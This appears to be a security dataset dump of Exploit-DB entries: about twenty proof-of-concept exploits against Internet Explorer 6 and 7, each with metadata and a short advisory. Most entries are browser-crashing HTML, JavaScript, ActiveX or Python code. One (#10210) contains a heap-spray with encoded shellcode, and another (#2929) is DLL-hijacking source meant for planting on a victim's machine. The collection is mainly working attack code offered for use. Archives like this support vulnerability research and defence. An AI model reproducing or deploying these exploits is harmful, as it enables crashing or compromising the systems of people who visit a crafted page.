deardaniel/secdata-raw huggingface dataset:
Exploit-DB #23273
Description: Microsoft Internet Explorer 6 - Scrollbar-Base-Color Partial Denial of Service
Type: dos
Platform: windows
Date: 2003-10-22
Author: Andreas Boeckler

Exploit:
source: https://www.securityfocus.com/bid/8874/info

It has been reported that Microsoft Internet Explorer is prone to a vulnerability that may allow an attacker to cause a denial of service condition in the software. The problem occurs due to improper handling of scrollbar-base-color attribute of the div object.

Successful exploitation of this issue may allow an attacker to create a webpage containing malicious script code that would cause a user's browser to crash upon visiting the site.

Microsoft Internet Explorer 6.0 has been reported to be vulnerable to this issue, however other versions may be affected as well.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>CRASH-IE</title>
<style type="text/css">
html, body {
overflow-y: hidden;
scrollbar-base-color: '#330066';
}

.crash {
position:absolute;
left:200px;
top:200px;
width:200px;
}

</style>
<script type="text/javascript">
function galgenfrist() {
window.setTimeout('crashIE();',1000);
}

function crashIE() {
var moveNode = document.getElementById("move");
if(moveNode) {
moveNode.style.top = "100px";
moveNode.style.left = "200px";
}
}
</script>
</head>
<body onload="galgenfrist();">
<h1>CRASH-IE</h1>
<div id="move" class="crash">
<table>
<tbody>
<tr>
<td>
<textarea>&lt;/textarea&gt;
</td>
</tr>
</tbody>
</table>
</div>
</body>
</html>
Exploit-DB #28252
Description: Microsoft Internet Explorer 6 - String To Binary Function Denial of Service
Type: dos
Platform: windows
Date: 2006-07-20
Author: hdm

Exploit:
source: https://www.securityfocus.com/bid/19102/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability because the application fails to properly bounds-check user-supplied input.

Remote attackers can exploit this issue to crash the application, causing a denial-of-service.

<a href='http://browserfun.blogspot.com/2006/07/mobb-8-rdsdatacontrol-url.html'> MoBB #8</a>.<br /><br />var a = new ActiveXObject('CEnroll.CEnroll.2'); <br />var b = 'BOOM';<br />while (b.length <= 1024*1024) b+=b;<br />a.stringToBinary(1, b);<br /><br /> <a href="http://metasploit.com/users/hdm/tools/browserfun/mobb_021.html" target="_new">Demonstration</a> <br /><br />eax=03580024 ebx=00300000 ecx=0005fc08<br />edx=00300000 esi=03571000 edi=03701004<br /> eip=77124ba4 esp=0013b200 ebp=0013b20c<br />OLEAUT32!SysAllocStringLen+0x4f:<br />77124ba4 f3a5 rep movsd ds:03571000=???????? es:03701004=00000000<br /><br />This bug will be added to the OSVDB:<br /> <a href="http://osvdb.org/27230">Microsoft IE CEnroll SysAllocStringLen Invalid Length</a>
Exploit-DB #1989
Description: Microsoft Internet Explorer 6 - Table.Frameset NULL Dereference
Type: dos
Platform: windows
Date: 2006-07-07
Author: Aviv Raff

Exploit:
<!--
http://browserfun.blogspot.com/

The following bug was tested on the latest version of Internet Explorer 6 
on a fully-patched Windows XP SP2 system. This bug was found by Aviv Raff 
using the DOM-Hanoi fuzzer script. DOM-Hanoi works by building trees of 
every combination of elements up to the specifed depth. An alternate PoC 
could use plain HTML instead of javascript.

var a = document.createElement('table');
var b = document.createElement('frameset');
a.appendChild(b);

eax=00000000 ebx=01884710 ecx=01886c60
edx=00000027 esi=0013aeb0 edi=01884730
eip=7dc995ad esp=0013ae88 ebp=0013ae9c6
mshtml!CTreePos::NextTreePos+0x23:
7dc995ad f60010 test byte ptr [eax],0x10 ds:0023:00000000=??

-->

<html><body><script>

// MoBB Demonstration
function Demo() {
	var a = document.createElement('table');
	var b = document.createElement('frameset');
	a.appendChild(b);
}
</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>


</body></html>

# milw0rm.com [2006-07-07]
Exploit-DB #28207
Description: Microsoft Internet Explorer 6 - TriEditDocument Denial of Service
Type: dos
Platform: windows
Date: 2006-07-11
Author: hdm

Exploit:
source: https://www.securityfocus.com/bid/18946/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability.

This issue is triggered when an attacker convinces a victim user to visit a malicious website.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

// MoBB Demonstration
function Demo() {
	var a = new ActiveXObject('TriEditDocument.TriEditDocument');
	a.URL = "Boom!";
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>
Exploit-DB #28401
Description: Microsoft Internet Explorer 6 - Visual Studio COM Object Instantiation Denial of Service
Type: dos
Platform: windows
Date: 2006-08-08
Author: XSec

Exploit:
source: https://www.securityfocus.com/bid/19572/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability that occurs when instantiating Visual Studio COM objects. 

The vulnerability arises because of the way Internet Explorer tries to instantiate certain COM objects as ActiveX controls, resulting in denial-of-service conditions. Remote code execution may be possible, but this has not been confirmed.

This BID may be related to the issues described in BID 14511 (Microsoft Internet Explorer COM Object Instantiation Buffer Overflow Vulnerability) and BID 15061 Microsoft Internet Explorer COM Object Instantiation Variant Vulnerability). Note, however, that this issue affects a different set of COM objects that were not addressed in the previous BIDs.

<!--
// Visual Studio 6.0 Multiple COM Object Instantiation Vulnerability
// tested on Windows 2000/2003

// http://www.xsec.org
// nop (nop#xsec.org)

// CLSID: {9AF971C5-8E7A-11D0-A2BB-00C04FC33E92}
// Info: FpFile Class// ProgID: WECAPI.FpFile.1
// InprocServer32: C:\WINDOWS\System\FP30WEC.DLL

// CLSID: {AB39F080-0F5D-11D1-8E2F-00C04FB68D60}
// Info: TCExtPage Class
// InprocServer32: C:\PROGRA~1\MICROS~1\Common\Tools\TCPROPS.DLL

// CLSID: {CCDBBDA1-FA19-11D0-9B51-00A0C91E29D8}
// Info: FpaFile Class// ProgID: FpaFile.FpaFile.1
// InprocServer32: C:\WINDOWS\system\VI30AUT.DLL

// CLSID: {E9B0E6CB-811C-11D0-AD51-00A0C90F5739}
// Info: Microsoft Data Tools Query Designer// ProgID: MSDTQueryDesigner2
// InprocServer32: C:\Program Files\Common Files\Microsoft Shared\MSDesigners98\mdt2qd.dll

// CLSID: {E9B0E6D4-811C-11D0-AD51-00A0C90F5739}
// Info: Microsoft Data Tools Database Designer// ProgID: MSDTDatabaseDesigner2
// InprocServer32: C:\Program Files\Common Files\Microsoft Shared\MSDesigners98\mdt2db.dll
--!>

<html><body>
<object classid="CLSID:{9AF971C5-8E7A-11D0-A2BB-00C04FC33E92}"> </object>
<object classid="CLSID:{AB39F080-0F5D-11D1-8E2F-00C04FB68D60}"> </object>
<object classid="CLSID:{CCDBBDA1-FA19-11D0-9B51-00A0C91E29D8}"> </object>
<object classid="CLSID:{E9B0E6CB-811C-11D0-AD51-00A0C90F5739}"> </object>
<object classid="CLSID:{E9B0E6D4-811C-11D0-AD51-00A0C90F5739}"> </object>
<!--
</body>
<script>location.reload();</script>
</html>
Exploit-DB #24112
Description: Microsoft Internet Explorer 6 - XML Parsing Denial of Service
Type: dos
Platform: windows
Date: 2004-05-10
Author: Rafel Ivgi The-Insider

Exploit:
source: https://www.securityfocus.com/bid/10318/info

Internet Explorer is reportedly affected by a XML parsing denial of service vulnerability. This issue is due to a failure of the application to properly handle malformed XML tags.

Successful exploitation of this issue might allow a remote attacker to crash a vulnerable web browser.

<Ref href = "&"/>
Exploit-DB #24395
Description: Microsoft Internet Explorer 6.0 / Firefox 0.8/0.9.x - JavaScript Denial of Service
Type: dos
Platform: windows
Date: 2004-08-23
Author: MeFakon

Exploit:
source: https://www.securityfocus.com/bid/10998/info

Web browsers from various vendors are reported prone to a JavaScript denial-of-service vulnerability.

The specified JavaScript code will consume 100% of the CPU resources of the affected computer, crashing the browser.

Mozilla Firefox, Microsoft Internet Explorer, and Opera are all reportedly affected by this vulnerability.

<scr1pt language="JavaScript">
while(true)
{
document.write("<iframe src=\"C:\Windows\system32\"></iframe>");
}
</scr1pt>
Exploit-DB #23912
Description: Microsoft Internet Explorer 6.0 Macromedia Flash Player Plugin - Remote Denial of Service
Type: dos
Platform: windows
Date: 2004-04-06
Author: Rafel Ivgi The-Insider

Exploit:
source: https://www.securityfocus.com/bid/10057/info

It has been reported that Macromedia Flash Player for Internet Explorer may be prone to a denial of service vulnerability that may cause an instance of Internet Explorer to crash. The issue is reported to exist in the 'LoadMovie' function by calling the function and loading a flash movie into a non-zero level in the following manner:

LoadMovie 1,"c6ool.swf"

This vulnerability is reported to be tested in Flash Player 7.0 r19 running on WindowsXP Professional SP1 and SP2. 

<script language=vbscript>
Set mymy2= CreateObject("ShockwaveFlash.ShockwaveFlash.1")
mymy2.LoadMovie 1,"c6ool.swf"
</script>
Exploit-DB #1775
Description: Microsoft Internet Explorer 6.0.2900 SP2 - CSS Attribute Denial of Service
Type: dos
Platform: windows
Date: 2006-05-10
Author: seven

Exploit:
<!--
# Internet Explorer <= 6.0.2900 SP2
#
# suffers from a DoS vulnerability in which a remote users
# Internet Explorer session can be crashed when hovering
# their cursor over a specially made table. The fault occurs
# when the "position" CSS attribute is set to a table.
# This results in an 'unhandled exception in iexplorer.exe(MSHTML.DLL)'
#
# $uid-seven
#
# shout outs to cijfer
-->

<html>
<head>
</style>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>IE-Crash - By seven</title>
<style type="text/css">

#header{
position: fixed;
height: 761px;
width: 1268;
}
</style>
</head>
<body>
<table border="2" cellpadding="0" cellspacing="0" width="797" height="343" align="center">

    <tr>

    <td id="header" valign="top">

        </td>
<td valign="top">

        </td>
</table>

# milw0rm.com [2006-05-10]
Exploit-DB #28880
Description: Microsoft Internet Explorer 6.0/7.0 - 'RemoveChild' Denial of Service
Type: dos
Platform: windows
Date: 2006-10-30
Author: Wojciech H

Exploit:
source: https://www.securityfocus.com/bid/20812/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability. This issue occurs when Internet Explorer attempts to execute certain JavaScript code.

Successfully exploiting this issue will cause the affected application to crash, denying service to legitimate users. Code execution may potentially be possible, but this has not been confirmed.

Internet Explorer 6 and 7 are vulnerable to this issue; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28880.zip
Exploit-DB #28343
Description: Microsoft Internet Explorer 6.0/7.0 - IFrame Refresh Denial of Service
Type: dos
Platform: windows
Date: 2006-08-06
Author: Thomas Pollet

Exploit:
source: https://www.securityfocus.com/bid/19364/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability when handling malicious HTML files. 

Successfully exploiting this issue allows attackers to consume excessive CPU resources in the affected browser and eventually cause Internet Explorer to crash, causing a denial-of-service.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28343.zip
Exploit-DB #11276
Description: Microsoft Internet Explorer 6.0/7.0 - Null Pointer crashes
Type: dos
Platform: windows
Date: 2010-01-20
Author: Skylined

Exploit:
Microsoft Internet Explorer 6.0/7.0 NULL pointer crashes Two crashes caused by NULL pointer dereferences have been discovered in MSIE 6.0/7.0. These issues do not affect MSIE 8.0.

========================================================
document.createElement(“li”).value=3

document.createElement(“html”).outerHTML
========================================================

Credit : Skylined
Exploit-DB #1423
Description: Microsoft Internet Explorer 6.x - IMG / XML elements Denial of Service
Type: dos
Platform: windows
Date: 2006-01-18
Author: Inge Henriksen

Exploit:
<!--
Discovered by
Inge Henriksen (inge.henriksen@booleansoft.com) http://ingehenriksen.blogspot.com/
-->

<table>
  <tr>
    <td><IMG align=left>X X X<?xml:namespace prefix=v>
      <v:X style="HEIGHT:1"></td>
  </tr>
</table>

# milw0rm.com [2006-01-18]
Exploit-DB #10210
Description: Microsoft Internet Explorer 6/7 - CSS Handling Denial of Service
Type: dos
Platform: windows
Date: 2009-11-20
Author: K4mr4n_st

Exploit:
<!--
securitylab.ir
K4mr4n_st (at) yahoo (dot) com [email concealed]
-->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<HTML xmlns="http://www.w3.org/1999/xhtml">
<HEAD>
<script>
function load(){
var e;
e=document.getElementsByTagName("STYLE")[0];
e.outerHTML="1";
}
</script>
<STYLE type="text/css">
body{ overflow: scroll; margin: 0; }
</style>

<SCRIPT language="javascript">
var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EEu99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB0%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u
7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<4000; x++) memory[x] = block + shellcode;
</script>

</HEAD>
<BODY onload="load()">
</BODY>
</HTML>
Exploit-DB #14484
Description: Microsoft Internet Explorer 6/7 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2010-07-27
Author: Richard leahy

Exploit:
# Exploit Title: IE6 / 7 Remote Dos vulnerability
# Date: 27/07/2010
# Author: Richard leahy
# Version: 6 / 7
# Tested on: Windows Xp Sp3
#category Remote Dos, might lead to code execution.

# The vulnerability is caused due to specifying a large value integer or string to the frame.frameBorder     
causing a dos and may lead to code execution. 

#code

<html>
<head>
<script>

function dos(){

  var e = document.createElement('frame');
  var prop = 'frameBorder';

  e[prop] =[PII_REDACTED];
}

</script>
</head>
<body onload="dos()">
</body>

</html>
 		 	   		  
_________________________________________________________________
Hotmail: Powerful Free email with security by Microsoft.
https://signup.live.com/signup.aspx?id=60969
Exploit-DB #33173
Description: Microsoft Internet Explorer 6/7/8 - 'li' Element Denial of Service (1)
Type: dos
Platform: windows
Date: 2007-02-07
Author: trevordixon

Exploit:
source: https://www.securityfocus.com/bid/36070/info

Microsoft Internet Explorer is prone to a remote denial-of-service vulnerability.

Successful exploits can allow attackers to crash the affected browser, resulting in denial-of-service conditions. Given the nature of this issue, attackers may also be able to corrupt process memory and run arbitrary code, but this has not been confirmed.

Versions prior to Internet Explorer 8 beta 2 are vulnerable. 

<html> <head> <title>IE Crash Example</title> </head> <body> <button type="button" onclick="document.createElement('li').value = null;">null - Okay</button> <button type="button" onclick="document.createElement('li').value = 0;">0 - Okay</button> <button type="button" onclick="document.createElement('li').value = 1;">1 - Crash</button> <button type="button" onclick="document.createElement('li').value = '1';">'1' - Crash</button> <button type="button" onclick="document.createElement('li').value = true;">true - Crash</button> <button type="button" onclick="document.createElement('li').value = 'true';">'true' - Okay</button> <button type="button" onclick="document.createElement('li').value = false;">false - Okay</button> <button type="button" onclick="document.createElement('li').value = [];">[] - Okay</button> <button type="button" onclick="document.createElement('li').value = [1];">[1] - Crash</button> <button type="button" onclick="document.createElement('li').value = ['1'];">['1'] - Crash</button> <button type="button" onclick="document.createElement('li').value = ['true'];">['true'] - Okay</button> <button type="button" onclick="document.createElement('li').value = {};">{} - Okay</button> <button type="button" onclick="document.createElement('li').value = {count:1};">{count:1} - Okay</button> <button type="button" onclick="document.createElement('li').value = undefined;">undefined - Okay</button> <button type="button" onclick="document.createElement('li').value = function(){};">function(){} - Okay</button> </body> </html>
Exploit-DB #33174
Description: Microsoft Internet Explorer 6/7/8 - 'li' Element Denial of Service (2)
Type: dos
Platform: windows
Date: 2007-02-07
Author: trevordixon

Exploit:
source: https://www.securityfocus.com/bid/36070/info
 
Microsoft Internet Explorer is prone to a remote denial-of-service vulnerability.
 
Successful exploits can allow attackers to crash the affected browser, resulting in denial-of-service conditions. Given the nature of this issue, attackers may also be able to corrupt process memory and run arbitrary code, but this has not been confirmed.
 
Versions prior to Internet Explorer 8 beta 2 are vulnerable. 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head><title>IE crash bug</title> <script type="text/javascript"> var li = document.createElement("li"); li.setAttribute("value", "1"); // this crashes IE! li.value = "1"; // this also crashes IE! </script> </head><body> <h1>IE crash bug test</h1> </body></html>
Exploit-DB #33175
Description: Microsoft Internet Explorer 6/7/8 - 'li' Element Denial of Service (3)
Type: dos
Platform: windows
Date: 2007-02-07
Author: trevordixon

Exploit:
source: https://www.securityfocus.com/bid/36070/info
  
Microsoft Internet Explorer is prone to a remote denial-of-service vulnerability.
  
Successful exploits can allow attackers to crash the affected browser, resulting in denial-of-service conditions. Given the nature of this issue, attackers may also be able to corrupt process memory and run arbitrary code, but this has not been confirmed.
  
Versions prior to Internet Explorer 8 beta 2 are vulnerable. 

document.createElement(&#039;li&#039;).setattribute(&#039;value&#039;, &#039;KillIE7&#039;);
Exploit-DB #11182
Description: Microsoft Internet Explorer 6/7/8 - Shockwave Flash Object Denial of Service
Type: dos
Platform: windows
Date: 2010-01-18
Author: Mert SARICA

Exploit:
# Version: 6/7/8
# Tested on: Windows XP SP3 English & Windows 7
# CVE :
# Code:  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/11182.tar.gz (ie_crash.tar.gz)

Description: Modified 1360. byte to 44, 1361. to 43, 1362. 42, 1363.
byte to 41 of a sample swf file, ran it and crash occurred.

Screenshots:

Internet Explorer 6 - XP SP3 - http://www.mertsarica.com/images/ie6_xp_sp3_3.jpg
Internet Explorer 7 - XP SP3 - http://www.mertsarica.com/images/ie7_xp_sp3_1.jpg
Internet Explorer 8 - Windows 7 - http://www.mertsarica.com/images/ie8_win7.jpg
Exploit-DB #29236
Description: Microsoft Internet Explorer 7 - CSS Width Element Denial of Service
Type: dos
Platform: windows
Date: 2006-12-06
Author: xiam.core

Exploit:
source: https://www.securityfocus.com/bid/21466/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability because the application fails to handle exceptional conditions.

This issue is triggered when an attacker entices a victim user to visit a malicious website.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

Internet Explorer 6 and 7 are vulnerable to this issue; other versions may also be affected.

<html> <head> <title>Another non-standards compliant IE D.O.S.</title> </head> <body> <div id="foo" style="height: 20px; border: 1px solid blue"> <table style="border: 1px solid red; width: expression(parseInt(window.open(self.location))+document.getElementById('foo').offsetWidth+'px');"> <tr> <td> IE makes my life harder :(. It sucks, don't use it :). </td> </tr> </table> </div> Written by <a href="http://xiam.be">xiam</a>.<br /> Tested under IE 6.0.2900.2180 </body> </html>
Exploit-DB #2929
Description: Microsoft Internet Explorer 7 - DLL-load Hijacking Code Execution (PoC)
Type: dos
Platform: windows
Date: 2006-12-14
Author: Aviv Raff

Exploit:
/*
        Copyright (C) 2006-2007 Aviv Raff
        http://aviv.raffon.net
        Greetz: hdm, L.M.H, str0ke, SkyLined

        Compile and upload to the victim's desktop as one of the following hidden DLL files:
        - sqmapi.dll
        - imageres.dll
        - schannel.dll

        Run IE7 and watch the nice calculators pop up.
        Filter fdwReason to execute only once.

        Tested on WinXP SP2 with fully patched IE7.
        For testing/educational purpose only!

*/


#include <windows.h>

BOOL WINAPI DllMain(
  HINSTANCE hinstDLL,
  DWORD fdwReason,
  LPVOID lpvReserved
)
{
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    TCHAR windir[_MAX_PATH];
    TCHAR cmd[ _MAX_PATH ];
    GetEnvironmentVariable("WINDIR",windir,_MAX_PATH );
    wsprintf(cmd,"%s\\system32\\calc.exe",windir);
    ZeroMemory(&si,sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&#960;,sizeof(pi));
    CreateProcess(NULL,cmd,NULL,NULL,FALSE,0,NULL,NULL,&si,&#960;);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    return TRUE;
}

// milw0rm.com [2006-12-14]
Exploit-DB #29800
Description: Microsoft Internet Explorer 7 - HTML Denial of Service
Type: dos
Platform: windows
Date: 2007-03-28
Author: shinnai

Exploit:
source: https://www.securityfocus.com/bid/23178/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability because the application fails to handle exceptional conditions.

This issue is triggered when an attacker entices a victim user to visit a malicious website.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

This issue affects Internet Explorer version 7. 

# usr/bin/python

print "-------------------------------------------------------------------------"
print " Internet Explorer 7.0.5730.11 Denial of Service"
print " author: shinnai"
print " mail: shinnai[at]autistici[dot]org"
print " site: http://shinnai.altervista.org\n"
print " For convenience I post up a script in python that create a .html file"
print " You can open it locally, upload and browse it or directely browse here:\n"
print " http://www.shinnai.altervista.org/ie_dos.html\n"
print " About 60 seconds and IE7 stops to answer :)"
print "-------------------------------------------------------------------------"

tagHtml = "<html>"
tagHtmlC = "</html>"
tagHead = "<head>"
tagHeadC = "</head>"
tagTitle = "<title>"
tagTitleC = "</title>"

buff= "\x90" * 80000

boom = tagHtml + buff  + tagHead + buff + tagTitle + buff + tagTitleC + tagHeadC + tagHtmlC

try:
   fileOut = open('ie_dos.html','w')
   fileOut.write(boom)
   fileOut.close()
   print "\nFILE CREATED!\n'NJOY IT...\n"
except:
   print "\nUNABLE TO CREATE FILE!\n"